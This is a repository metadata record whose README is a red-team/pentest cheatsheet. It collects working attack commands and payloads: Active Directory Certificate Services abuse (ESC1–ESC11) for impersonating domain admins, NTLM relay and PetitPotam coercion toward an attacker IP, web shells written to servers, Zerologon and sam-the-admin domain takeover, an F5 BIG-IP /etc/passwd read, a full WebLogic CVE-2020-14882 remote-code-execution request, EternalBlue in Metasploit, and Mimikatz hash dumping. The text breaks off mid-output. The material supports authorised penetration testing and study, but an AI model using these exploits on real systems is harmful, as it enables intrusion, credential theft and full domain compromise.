{"id":15034097,"url":"https://github.com/ihebski/a-red-teamer-diaries","last_synced_at":"2026-01-28T16:02:21.817Z","repository":{"id":40444300,"uuid":"197602204","full_name":"ihebski/A-Red-Teamer-diaries","owner":"ihebski","description":"RedTeam/Pentest notes and experiments tested on several infrastructures related to professional engagements.","archived":false,"fork":false,"pushed_at":"2025-10-29T21:56:38.000Z","size":444,"stargazers_count":1815,"open_issues_count":0,"forks_count":303,"subscribers_count":67,"default_branch":"master","last_synced_at":"2025-10-29T23:44:34.688Z","etag":null,"topics":["active-directory","crackmapexec","cybersecurity","engagement","enumeration","exploit","hacking","lateral-movement","metasploit","meterpreter","mimikatz","nmap","penetration-testing","pentesting","privilege-escalation","redteam","script","security-tools","tools","vulnerability"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ihebski.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"github":"ihebski"}},"created_at":"2019-07-18T14:25:37.000Z","updated_at":"2025-10-29T21:56:42.000Z","dependencies_parsed_at":"2024-01-18T14:41:02.374Z","dependency_job_id":"2a674c82-6ee8-4629-b45f-9189cf70fe44","html_url":"https://github.com/ihebski/A-Red-Teamer-diaries","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/ihebski/A-Red-Teamer-diaries","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihebski%2FA-Red-Teamer-diaries","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihebski%2FA-Red-Teamer-diaries/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihebski%2FA-Red-Teamer-diaries/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihebski%2FA-Red-Teamer-diaries/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihebski","download_url":"https://codeload.github.com/ihebski/A-Red-Teamer-diaries/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihebski%2FA-Red-Teamer-diaries/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28846763,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-28T15:15:36.453Z","status":"ssl_error","status_checked_at":"2026-01-28T15:15:13.020Z","response_time":57,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["active-directory","crackmapexec","cybersecurity","engagement","enumeration","exploit","hacking","lateral-movement","metasploit","meterpreter","mimikatz","nmap","penetration-testing","pentesting","privilege-escalation","redteam","script","security-tools","tools","vulnerability"],"created_at":"2024-09-24T20:23:55.161Z","updated_at":"2026-01-28T16:02:21.808Z","avatar_url":"https://github.com/ihebski.png","language":null,"funding_links":["https://github.com/sponsors/ihebski"],"categories":[],"sub_categories":[],"readme":"# A Red-Teamer diaries\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"https://www.welivesecurity.com/wp-content/uploads/2014/05/rooftop-1024x576.png\"/\u003e\n\u003c/p\u003e\n\n\nPublicly accessible notes about my pentesting/red teaming experiments tested on several controlled environments/infrastructures that involve playing with various tools and techniques used by penetration testers and redteamers during a security assessment.\n\n- [x] Project in progress\n\n### Contribute\nWe welcome contributions as github pull requests.\u003cbr\u003e\nKudos and thanks for the people who did the hard stuff\n\u003c/br\u003e\n### Goals\n* Pentest/red team cheatsheet that collects snippets of codes and commands to help pentester during an engagement(saving time/fast search for a specific command).\n* Understand how the attacks can be performed\n* take notes for future reference\n\n\u003e #### Disclaimer\n\u003e For educational purposes only, use it at your own responsibility. \n\n## Intrusion Kill Chain\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"https://ptgmedia.pearsoncmg.com/images/chap1_9780135752036/elementLinks/F01XX01.jpg\" alt=\"KillChain\"/\u003e\n\u003c/p\u003e\n\n\n# Mapping the Network\n## RunFinger.py\nGather information about the Domain name and windows machine running in the network\n\n```bash\nbash$ cd /usr/share/Responder/tools\nbash$ sudo python RunFinger.py -i 192.168.1.1/24\n```\nor \n\n```bash\nbash$ responder-RunFinger\n```\n\n## Nbtscan\n\nScanning IP networks for NetBIOS name information.\n\n```bash\nbash$ sudo nbtscan -v -s : 192.168.1.0/24\n```\n\n## Crackmapexec v 4.0\n\nScan the network range based on the SMB information\n```bash\nbash$ cme smb 192.168.1.1/24\n```\n\n## Nmap scan\nScan all the machine network and save the outputs .\n* -oA options : Means output with all format\n* -T4 : Fast scan \n\nFast Scan\n```bash\nbash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP  \n```\nIntensive Scan (Note recommended):\n```bash\nbash$ nmap -p 1-65535 -Pn -A -oA output target_IP \n```\nScan with enumeration of the running services version :\n* -sC : default scripts Equivalent to --script=default\n* -sV : Get the service version\n```bash\nbash$ nmap -sC -sV -oA output target\n```\n\n## Angry IP scanner\n\nDownload the tool from this link : \n[Angry IP Scanner](http://angryip.org/download/#linux) \n* Change the preferences settings \n\u003e Go to : Preferences -\u003e Ports -\u003e add 80,445,554,21 ,22 in the port selection \u003cbr\u003e\n\u003e Go to : Preferences -\u003e Display -\u003e select Alive Hosts \u003cbr\u003e\n\u003e Go to : Preferences -\u003e Pinging -\u003e select Combained (UDP/TCP)\n\n# Lateral Movement and Exploitation\n\n### Active Directory Certificate Services\nThis part was copied from https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates \n\u003cbr\u003eFor more details check : https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation\n\n(Tested on private environment (Bloodhound then ESC1 exploit) \n* Find ADCS Server\n  * `crackmapexec ldap domain.lab -u username -p password -M adcs`\n  * `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=\u003cuser\u003e,OU=Users,DC=domain,DC=local' -w '\u003cpassword\u003e' -b \"CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local\" dNSHostName`\n* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`, `certutil -dump`\n\n#### ESC1 - Misconfigured Certificate Templates\n\n\u003e Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.\n\nRequirements:\n*  Template that allows for AD authentication\n* **ENROLLEE_SUPPLIES_SUBJECT** flag\n* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage) \n\nExploitation:\n* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates\n    ```ps1\n    Certify.exe find /vulnerable\n    Certify.exe find /vulnerable /currentuser\n    # or\n    PS\u003e Get-ADObject -LDAPFilter '(\u0026(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'\n    # or\n    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound\n    ```\n* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)\n    ```ps1\n    # request certificates for the machine account by executing Certify with the \"/machine\" argument from an elevated command prompt.\n    Certify.exe request /ca:dc.domain.local\\domain-DC-CA /template:VulnTemplate /altname:domadmin\n    certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN\n    certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'\n    ```\n* Use OpenSSL and convert the certificate, do not enter a password\n    ```ps1\n    openssl pkcs12 -in cert.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out cert.pfx\n    ```\n* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus\n    ```ps1\n    Rubeus.exe asktgt /user:domadmin /certificate:C:\\Temp\\cert.pfx\n    ```\n\n**WARNING**: These certificates will still be usable even if the user or computer resets their password!\n\n**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.\n\n\n#### ESC2 - Misconfigured Certificate Templates\n\nRequirements:\n*  Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)\n\nExploitation:\n* Find template\n  ```ps1\n  PS \u003e Get-ADObject -LDAPFilter '(\u0026(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'\n  ```\n* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).\n\n\n#### ESC3 - Misconfigured Enrollment Agent Templates\n\n\u003e ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users\n\n* Request a certificate based on the vulnerable certificate template ESC3.\n  ```ps1\n  $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'\n  [*] Saved certificate and private key to 'john.pfx'\n  ```\n* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user \n  ```ps1\n  $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\\administrator' -pfx 'john.pfx'\n  ```\n\n\n#### ESC4 - Access Control Vulnerabilities\n\n\u003e Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to \"push a misconfiguration to a template leading to ESC1 vulnerability\n\n* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)\n  ```ps1\n  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl\n  ```\n* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1\n  ```ps1\n  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag\n\n  # Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. \n  C:\\\u003eStandIn.exe --adcs --filter WebServer --ess --add\n  ```\n* Perform ESC1 and then restore the value\n  ```ps1\n  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag\n  ```\n\nUsing Certipy\n\n```ps1\n# overwrite the configuration to make it vulnerable to ESC1\ncertipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old\n# request a certificate based on the ESC4 template, just like ESC1.\ncertipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'\n# restore the old configuration\ncertipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json\n```\n\n#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 \n\n\u003e If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name. \n\nExploitation:\n* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.\n    ```ps1\n    Certify.exe cas\n    ```\n* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names\n    ```ps1\n    .\\Certify.exe request /ca:dc.domain.local\\domain-DC-CA /template:User /altname:DomAdmin\n    ```\n\nMitigation:   \n* Remove the flag : `certutil.exe -config \"CA01.domain.local\\CA01\" -setreg \"policy\\EditFlags\" -EDITF_ATTRIBUTESUBJECTALTNAME2`\n\n\n#### ESC7 - Vulnerable Certificate Authority Access Control\n\nExploitation:\n* Detect CAs that allow low privileged users the `ManageCA`  or `Manage Certificates` permissions\n    ```ps1\n    Certify.exe find /vulnerable\n    ```\n* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)\n    ```ps1\n    Certify.exe setconfig /enablesan /restart\n    ```\n* Request the certificate with the desired SAN.\n    ```ps1\n    Certify.exe request /template:User /altname:super.adm\n    ```\n* Grant approval if required or disable the approval requirement\n    ```ps1\n    # Grant\n    Certify.exe issue /id:[REQUEST ID]\n    # Disable\n    Certify.exe setconfig /removeapproval /restart\n    ```\n\nAlternative exploitation from **ManageCA** to **RCE** on ADCS server: \n\n```ps1\n# Get the current CDP list. Useful to find remote writable shares:\nCertify.exe writefile /ca:SERVER\\ca-name /readonly\n\n# Write an aspx shell to a local web directory:\nCertify.exe writefile /ca:SERVER\\ca-name /path:C:\\Windows\\SystemData\\CES\\CA-Name\\shell.aspx /input:C:\\Local\\Path\\shell.aspx\n\n# Write the default asp shell to a local web directory:\nCertify.exe writefile /ca:SERVER\\ca-name /path:c:\\inetpub\\wwwroot\\shell.asp\n\n# Write a php shell to a remote web directory:\nCertify.exe writefile /ca:SERVER\\ca-name /path:\\\\remote.server\\share\\shell.php /input:C:\\Local\\path\\shell.php\n```\n\n\n#### ESC8 - AD CS Relay Attack\n\n\u003e An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.\n\nRequire [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101)\n\n* **Version 1**: NTLM Relay + Rubeus + PetitPotam\n  ```powershell\n  impacket\u003e python3 ntlmrelayx.py -t http://\u003cca-server\u003e/certsrv/certfnsh.asp -smb2support --adcs\n  impacket\u003e python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate\n  # For a member server or workstation, the template would be \"Computer\".\n  # Other templates: workstation, DomainController, Machine, KerberosAuthentication\n\n  # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam \n  # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN\n  git clone https://github.com/topotam/PetitPotam\n  python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP\n  python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP\n  python3 dementor.py \u003clistener\u003e \u003ctarget\u003e -u \u003cusername\u003e -p \u003cpassword\u003e -d \u003cdomain\u003e\n  python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local\n\n  # Use the certificate with rubeus to request a TGT\n  Rubeus.exe asktgt /user:\u003cuser\u003e /certificate:\u003cbase64-certificate\u003e /ptt\n  Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt\n\n  # Now you can use the TGT to perform a DCSync\n  mimikatz\u003e lsadump::dcsync /user:krbtgt\n  ```\n\n* **Version 2**: NTLM Relay + Mimikatz + Kekeo\n  ```powershell\n  impacket\u003e python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\n\n  # Mimikatz\n  mimikatz\u003e misc::efs /server:dc.lab.local /connect:\u003cIP\u003e /noauth\n\n  # Kekeo\n  kekeo\u003e base64 /input:on\n  kekeo\u003e tgt::ask /pfx:\u003cBASE64-CERT-FROM-NTLMRELAY\u003e /user:dc$ /domain:lab.local /ptt\n\n  # Mimikatz\n  mimikatz\u003e lsadump::dcsync /user:krbtgt\n  ```\n\n* **Version 3**: Kerberos Relay\n  ```ps1\n  # Setup the relay\n  sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine\n\n  # Run mitm6\n  sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v\n  ```\n\n* **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.\n  ```powershell\n  https://github.com/bats3c/ADCSPwn\n  adcspwn.exe --adcs \u003ccs server\u003e --port [local port] --remote [computer]\n  adcspwn.exe --adcs cs.pwnlab.local\n  adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001\n  adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\\Temp\\cert_b64.txt\n  adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\\mranderson --password The0nly0ne! --dc dc.pwnlab.local\n\n  # ADCSPwn arguments\n  adcs            -       This is the address of the AD CS server which authentication will be relayed to.\n  secure          -       Use HTTPS with the certificate service.\n  port            -       The port ADCSPwn will listen on.\n  remote          -       Remote machine to trigger authentication from.\n  username        -       Username for non-domain context.\n  password        -       Password for non-domain context.\n  dc              -       Domain controller to query for Certificate Templates (LDAP).\n  unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .\n  output          -       Output path to store base64 generated crt.\n  ```\n\n* **Version 5**: Certipy ESC8\n  ```ps1\n  certipy relay -ca 172.16.19.100\n  ```\n\n\n#### ESC9 - No Security Extension\n\nRequirements:\n* `StrongCertificateBindingEnforcement` set to `1` (default) or `0`\n* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value\n* Certificate specifies `Any Client` authentication EKU\n* `GenericWrite` over any account A to compromise any account B\n\n**Scenario**\n\nJohn@corp.local has **GenericWrite** over Jane@corp.local, and we want to compromise Administrator@corp.local. \nJane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.\n\n* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)\n    ```ps1\n    certipy shadow auto -username John@corp.local -p Passw0rd -account Jane\n    ```\n* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part\n    ```ps1\n    certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator\n    ```\n* Request the vulnerable certificate template ESC9 from Jane's account.\n    ```ps1\n    certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9\n    # userPrincipalName in the certificate is Administrator \n    # the issued certificate contains no \"object SID\"\n    ```\n* Restore userPrincipalName of Jane to Jane@corp.local.\n    ```ps1\n    certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local\n    ```\n* Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user. \n    ```ps1\n    certipy auth -pfx administrator.pfx -domain corp.local\n    # Add -domain \u003cdomain\u003e to your command line since there is no domain specified in the certificate.\n    ```\n\n#### ESC11 - Relaying NTLM to ICPR\n\n\u003e Encryption is not enforced for ICPR requests and Request Disposition is set to Issue\n\nRequirements:\n* [sploutchy/Certipy](https://github.com/sploutchy/Certipy) - Certipy fork\n* [sploutchy/impacket](https://github.com/sploutchy/impacket) - Impacket fork\n\nExploitation:\n1. Look for `Enforce Encryption for Requests: Disabled` in `certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout` output\n2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.\n    ```ps1\n    ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support\n    ```\n\n---\n\n# PRE-CREATED COMPUTER ACCOUNTS\n### FINDING PRE-CREATED COMPUTER ACCOUNTS\n\nFor instance, the computer account `DavesLaptop$` would have the password `daveslaptop`\n\n- Note that when dealing with computer accounts, it is smart to escape the `$` with a `\\`.\n\n```bash\nimpacket-smbclient \u003cdomain\u003e/\u003ccomputer account\u003e\\$:\u003cpassword\u003e@\u003cIP\u003e\n\nImpacket v0.10.0 - Copyright 2022 SecureAuth Corporation\n\n[-] SMB SessionError: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT(The account used is a computer account. Use your global user account or local user account to access this server.)\n```\n\nNotice we have `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`\n\n### Change The Password\nWe can use either of these:\n- https://github.com/fortra/impacket/blob/master/examples/changepasswd.py\n- https://github.com/api0cradle/impacket/blob/a1d0cc99ff1bd4425eddc1b28add1f269ff230a6/examples/rpcchangepwd.py\n\n```bash\npython3 rpcchangepwd.py \u003cdomain\u003e/\u003ccomputer account\u003e\\$:\u003cpassword\u003e@\u003cIP\u003e -newpass P@ssw0rd                           31s\nImpacket v0.10.0 - Copyright 2022 SecureAuth Corporation\n\n[*] Password was changed successfully.\n```\n\n### Connect to SMB with the new creds\n```bash\nimpacket-smbclient \u003cdomain\u003e/\u003ccomputer account\u003e\\$:\u003cnew set password\u003e@\u003cIP\u003e\nImpacket v0.10.0 - Copyright 2022 SecureAuth Corporation\n\nType help for list of commands\n# \n\n```\n\n**- Reference : https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/**\n\n---\n\n### Exploiting CVE-2021-42278 and CVE-2021-42287\nDownload the epxloit script https://github.com/WazeHell/sam-the-admin\n\n```bash\nbash$ python3 sam_the_admin.py \"\u003cdomain_name\u003e/\u003cusername\u003e:\u003cpassword\u003e\" -dc-ip \u003cDC_IP\u003e\n```\nIf the AD is vulnerable we will have the following output:\n\u003cimg src=\"https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/1639322935010.jpeg\" alt=\"AD exploit\"\u003e\n### Scanning for Zerologon\nSecuraBV zerologon scanner https://github.com/SecuraBV/CVE-2020-1472\u003cbr\u003e\nWe can use crackmapexec to extract the DC name\n```bash\nbash$ python3 zerologon_tester.py EXAMPLE-DC 1.2.3.4\n```\nIf the target is vulnerable the scanner showing the following output:\n\u003cimg src=\"https://github.com/ihebski/A-Red-Teamer-diaries/blob/master/zerologon/scanner.png\" alt=\"zerologon scanner\"\u003e\n### Exploiting zerologon\n- The exploit could reset the domain admin password we can use zer0dump exploit instead https://github.com/bb00/zer0dump\n- Dumping The admin password (change the username if only one user is targetted )\n\n\u003cimg src=\"https://github.com/ihebski/A-Red-Teamer-diaries/blob/master/zerologon/dump-Administrator-Password.png\" alt=\"dump NTLM\" \u003e\n\nGetting an RCE through pass-the-hash\n\u003cimg src=\"https://github.com/ihebski/A-Red-Teamer-diaries/blob/master/zerologon/get_RCE_psexec.png\" alt=\"RCE\"\u003e\n\n\u003e The provided screenshots are related to a personnel lab used for the POC test only, be careful when running the exploit on DC in PROD(during an engagement)\n\n## BIGIP F5 CVE-2020-5902\nCheck if the target is vulnerable\n```bash\ncurl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'\n```\nWe can scan the target using Nuclei or Nmap too\n* Nuclei\nhttps://github.com/projectdiscovery/nuclei-templates/blob/master/cves/CVE-2020-5902.yaml\n```bash\nnuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -target https://\u003cIP\u003e\n```\nIf multiple hosts are specified use -l argument -\u003e -l bigip-assets.txt\n* Nmap\n```bash\nwget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse\nnmap -p443 {IP} --script=http-vuln-cve2020-5902.nse\n```\n#### BIGIP RCE\nwe can use Metasploit Module https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4\n\n## Scanning Weblogic CVE-2020-14882\nNuclei Module\n```bash\nnuclei -t nuclei-templates/cves/CVE-2020-14882.yaml -target http://\u003cIP\u003e\n```\nThis module sometimes fails, use -proxy-url http://127.0.0.1:8080 to redirect traffic into Burpsuite and investigate.\n## Exploiting Weblogic CVE-2020-14882 - RCE\n\n```bash\nPOST /console/css/%252e%252e%252fconsole.portal HTTP/1.1\nHost: 172.16.242.134:7001\ncmd: chcp 65001\u0026\u0026whoami\u0026\u0026ipconfig\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 1258\n\n_nfpb=true\u0026_pageLabel=\u0026handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();\nweblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();\njava.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");\nfield.setAccessible(true);\nObject obj = field.get(adapter);\nweblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(\"getServletRequest\").invoke(obj);\nString cmd = req.getHeader(\"cmd\");\nString[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\nif (cmd != null) {\n    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next();\n    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(\"getResponse\").invoke(req);\n    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));\n    res.getServletOutputStream().flush();\n    res.getWriter().write(\"\");\n}executeThread.interrupt();\n\");\n```\n* Change cmd in the request header with any system command(Win/Linux)\n* Payload could be turned into a curl command.\n## Scanning for EternalBlue ms17-010\n```bash\nbash$ nmap -p445 --script smb-vuln-ms17-010 \u003ctarget\u003e/24\n```\nIf the target is vulnrable the output is as following \n\nScript Output\u003cbr\u003e\nHost script results:\n```bash\n| smb-vuln-ms17-010:\n|   VULNERABLE:\n|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)\n|     State: VULNERABLE\n|     IDs:  CVE:CVE-2017-0143\n|     Risk factor: HIGH\n|       A critical remote code execution vulnerability exists in Microsoft SMBv1\n|        servers (ms17-010).\n|\n|     Disclosure date: 2017-03-14\n|     References:\n|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143\n|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx\n|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/\n```\n## Exploiting Eternal Blue - Metasploit Module (Windows 7 x64 only )\n\n* Note : \n\u003cbr\u003eThe default Module supported by Metasploit is exploiting only windows 7 x64 bit \nOtherwise the target will be crashed .\n\n```bash\nmsf \u003e use exploit/windows/smb/ms17_010_eternalblue\n      msf exploit(ms17_010_eternalblue) \u003e show targets\n            ...targets...\n      msf exploit(ms17_010_eternalblue) \u003e set TARGET \u003ctarget-id\u003e\n      msf exploit(ms17_010_eternalblue) \u003e show options\n            ...show and set options...\n      msf exploit(ms17_010_eternalblue) \u003e exploit\n\n```\n\n## Mimikatz - Metasploit\n\nAfter obtaining a meterpreter shell, we need to ensure that our session is running with **SYSTEM level privileges** for Mimikatz to function properly.\n\n```bash\nmeterpreter \u003e getuid\nServer username: WINXP-E95CE571A1\\Administrator\n\nmeterpreter \u003e getsystem\n...got system (via technique 1).\n\nmeterpreter \u003e getuid\nServer username: NT AUTHORITY\\SYSTEM\n```\n\n### Reading Hashes and Passwords from Memory\n\n\n```bash\nmeterpreter \u003e load mimikatz\nLoading extension mimikatz...success.\n\nmeterpreter \u003e msv\n[+] Running as SYSTEM\n[*] Retrieving msv credentials\nmsv credentials\n===============\n\nAuthID   Package    Domain           User              Password\n------   -------    ------           ----              --------\n0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }\n0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 